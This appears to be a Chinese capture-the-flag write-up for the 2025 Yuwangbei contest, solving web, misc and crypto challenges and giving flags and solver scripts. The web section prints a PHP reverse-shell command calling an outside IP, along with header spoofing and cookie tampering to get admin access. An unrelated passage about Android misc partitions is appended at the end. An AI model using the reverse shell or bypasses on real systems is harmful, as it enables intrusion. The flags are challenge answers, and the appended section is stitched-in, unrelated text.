御网杯2025 Web,Msic,密码 WP

Web

YWB_Web_xff

审计代码,发现需要$cip=2.2.2.1

使用burpsuite抓包,添加X-Forwarded-For:2.2.2.1

 

然后得到flag

 

YWB_Web_未授权访问

更加题目描述知道需要admin登录,但是现在是guest。

使用burpsuite抓包

发现cookie里面存在user,且是url编码的。

使用随波逐流进行url解码。

修改guest为admin,isAdmin为1

在进行url编码

最后修改burpsuite数据包里面的user。为刚刚加密出来的

获取到flag

 

 

Easyweb

代码审计发现只要输入命令exec就能够执行,但是exec函数没有回显,所以使用shell反弹

反弹命令:php -r '$sock=fsockopen("103.51.147.173",7777);exec("sh <&3 >&3 2>&3");'

Hacker传参cmd=php -r '$sock=fsockopen("103.51.147.173",7777);exec("sh <&3 >&3 2>&3");'

在进行一次url编码。同时服务器监听7777端口

可以看到监听成功

查看/flag.txt

Cat /flag.txt

 

YWB_Web_命令执行过滤绕过

根据提示:小明结合小华的代码又写了一个,你能分析代码找到flag吗?

右击源码发现了代码

想到了使用var_dump(file_get_contents()); 来绕过

 

发现了flag

 

 

YWB_Web_反序列化

题目内容:每一次反序列化都是一次艺术创作,构造出正确的对象与密码,揭开过滤后的秘密,找到埋藏的flag。

附件中给出了源码,审计发现,接收post参数msg并且帅冲filter过滤了(内容是flag,php)然后在进行判断,如果$a->pass === "myzS@11wawq"就能获取到flag

<?php
function filter($name){
    $safe = array("flag", "php");
    return str_replace($safe, "hack", $name);
}

class mylogin {
    var $user;
    var $pass;

    function __construct($user, $pass) {
        $this->user = $user;
        $this->pass = $pass;
    }
}



$m = new mylogin('FLAG.PHP','myzS@11wawq');
echo serialize($m);

 

将结果输入到页面中得到flag

 

 

 

MISC

ez_xor

根据题目名字可以知道是xor

使用python脚本

def decrypt_xor(ciphertext_hex: str, key: int) -> str:
    """
    使用XOR密钥解密十六进制格式的密文

    参数:
    ciphertext_hex (str): 以十六进制字符串表示的密文,允许使用'-'分隔
    key (int): 用于解密的XOR密钥

    返回:
    str: 解密后的明文字符串

    异常:
    ValueError: 当输入的十六进制字符串格式不正确时抛出
    UnicodeDecodeError: 当解密后的字节无法转换为UTF-8字符串时抛出
    """
    # 清理并验证十六进制输入
    clean_hex = ciphertext_hex.replace('-', '')
    if not all(c in '0123456789abcdefABCDEF' for c in clean_hex):
        raise ValueError("输入包含非十六进制字符")

    # 转换为字节并执行XOR解密
    ciphertext_bytes = bytes.fromhex(clean_hex)
    decrypted_bytes = bytes(b ^ key for b in ciphertext_bytes)

    # 尝试解码为UTF-8字符串
    try:
        return decrypted_bytes.decode('utf-8')
    except UnicodeDecodeError:
        # 如果无法解码为UTF-8,返回原始字节的十六进制表示
        print("警告: 解密结果不是有效的UTF-8字符串,返回原始字节")
        return decrypted_bytes.hex()


# 使用示例
if __name__ == "__main__":
    ciphertext_hex = '5f-55-58-5e-42-71-7a-6d-7f-48-4e-5c-78-6a-7d-08-0e-0a-44'
    key = 0x39  # 密钥为0x39(十进制57)

    try:
        decrypted_text = decrypt_xor(ciphertext_hex, key)
        print(f"解密结果: {decrypted_text}")
    except (ValueError, UnicodeDecodeError) as e:
        print(f"解密失败: {e}")

跑出来flag

 

 

光隙中的寄生密钥

使用Formosa分离图片里的秘密.jpg

存在一个压缩包有密码,使用ARCHPR爆破,密码是9864

得到5a6d78685a337379566d516a545773324a5842534f58705949584e4266513d3d

放进随波逐流解码,得到116进制转字符

 

被折叠的显影图纸

有一个flag.xls直接拖到随波逐流,直接得到flag

 

ez_picture

将15.png拖入随波逐流

看到RGB通道疑似密码,尝试输入发现可以解压缩

存在1.jpg拖入随波逐流

在继续解码

 

 

easy_misc

77 49 66 77 83 107 104 68 78 70 81 50 90 50 104 87 98 87 74 76 97 88 66 51 98 50 78 112 81 88 100 89 83 109 82 81 89 107 112 70 83 68 73 61

发现一串10进制拖入随波逐流

发现10进制转字符串是base64

继续解码

 

发现是base58

 

 

 

 

套娃

解压发现txt是个压缩包

修改后缀为zip

发现还存在套娃继续修改后缀为zip

然后在world/document.xml文件下找到flag

 

 

 

CRYPTO

cry_rsa

跑脚本

def extended_gcd(a, b):
    """计算最大公约数和贝祖系数"""
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = extended_gcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    """计算a在模m下的乘法逆元"""
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError(f"逆元不存在,因为{gcd(a, m)} != 1")
    else:
        return x % m

def is_prime(n):
    """检查数字是否为素数"""
    if n <= 1:
        return False
    for i in range(2, int(n**0.5) + 1):
        if n % i == 0:
            return False
    return True

def calculate_rsa_components(p, q, e):
    """计算RSA密钥组件"""
    # 验证输入是否为素数
    if not (is_prime(p) and is_prime(q)):
        raise ValueError("p和q必须是素数")
    
    # 计算n和φ(n)
    n = p * q
    phi_n = (p - 1) * (q - 1)
    
    # 验证e是否有效
    from math import gcd
    if gcd(e, phi_n) != 1:
        raise ValueError("e和φ(n)必须互质")
    
    # 计算私钥指数d
    d = modinv(e, phi_n)
    
    return {
        'n': n,
        'phi_n': phi_n,
        'd': d,
        'flag': d + 2
    }

def main():
    try:
        # RSA参数
        p = 473398607161
        q = 4511491
        e = 19
        
        # 计算RSA组件
        components = calculate_rsa_components(p, q, e)
        
        # 输出结果
        print("==== RSA密钥计算结果 ====")
        print(f"p = {p}")
        print(f"q = {q}")
        print(f"e = {e}")
        print(f"n = p * q = {components['n']}")
        print(f"φ(n) = (p-1)*(q-1) = {components['phi_n']}")
        print(f"私钥指数 d = {components['d']}")
        print(f"\nFLAG: flag{{{components['flag']}}}")
        
    except ValueError as ve:
        print(f"输入错误: {ve}")
    except Exception as e:
        print(f"计算过程出错: {e}")

if __name__ == "__main__":
main()

从而得出flag

 

 

gift

向后移了五位p对应u,i对应n,e对应j

编写脚本跑

# 计算无穷级数 1 - 1/3 + 1/5 - 1/7 +...
def calculate_series():
    sum_series = 0
    sign = 1
    denominator = 1
    num_terms = 1000  # 计算的项数,可以调整以提高精度
    for _ in range(num_terms):
        sum_series += sign / denominator
        sign = -sign
        denominator += 2
    return sum_series


# 凯撒密码加密函数,偏移量为 2
def caesar_encrypt(text):
    encrypted_text = ""
    for char in text:
        if char.isalpha():
            if char.islower():
                new_char = chr((ord(char) - ord('a') + 2) % 26 + ord('a'))
            else:
                new_char = chr((ord(char) - ord('A') + 2) % 26 + ord('A'))
        else:
            new_char = char
        encrypted_text += new_char
    return encrypted_text


# 主程序
if __name__ == "__main__":
    series_result = calculate_series()
    print(f"无穷级数的近似结果: {series_result}")
    original_text = "pie"
    encrypted_result = caesar_encrypt(original_text)
    print(f"加密后的结果: flag{{{encrypted_result}}}")

 

草甸方阵的密语        

存在一个exe文件,拖进winhex查看

 

复制到随波逐流进行栅栏解码

之后将10栏在进行一次凯撒

得到flag

 

 

easy-签到题

附件中同样存在exe文件,winhex打开

拖入随波逐流一键解码。

 

baby_rsa

用winhex打开得到e,N,c,然后使用factor在线网站http://www.factordb.com/index.php?id=1100000008203254317分解N,得到两个素数p,q

后面正常解rsa得到flag{5c9c885c361541e0b261f58b61db8cec}

根据附件将2替换成3得到最终flag{5c9c885c361541e0b361f58b61db8cec}

 

 

ez_base

打开附件发现是垃圾信息中提取邮件使用在线网站https://www.spammimic.com/decode.cgi decode出base64

再解base64得到flag{HNCTFCEwYSLFBHU8TF}

 

 

 

 

 

 

 

 

 

 

 

 

 

### 安卓设备上 MSIC 分区的操作方法和功能介绍 #### MSIC 分区的功能概述 MSIC(Miscellaneous)分区主要用于存储一些与启动过程密切相关的配置数据以及其它重要信息。这些信息可能包括但不限于加密密钥、锁屏状态和其他系统级参数[^1]。 #### 访问和修改 MSIC 分区的方法 由于 MSIC 分区涉及到系统的底层运作,因此对其进行访问或更改通常需要具备一定的技术背景,并且应当谨慎行事以免造成不可逆的影响。对于大多数用户而言,在正常情况下并不建议直接干预此区域的内容。然而,当遇到特定需求时,则可以通过以下几种途径来进行有限度的操作: - **通过 Fastboot 工具**:这是最常用的方式之一,适用于开发者模式下的高级调试场景。连接电脑并进入 fastboot 模式后,可利用命令行工具读取或写入指定的数据到 misc 分区内。 ```bash adb reboot bootloader fastboot getvar all | grep "misc" ``` - **借助第三方应用程序**:某些专门设计用于管理 Android 设备内部结构的应用程序也可能提供对 Misc 分区的部分控制权限,不过这类应用往往存在安全风险,使用前务必确认其可靠性和合法性。 需要注意的是,任何针对 MSIC 分区的改动都可能导致设备无法正常使用甚至永久损坏硬件设施;除非绝对必要并且充分理解潜在后果的情况下才考虑实施上述措施[^2]。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值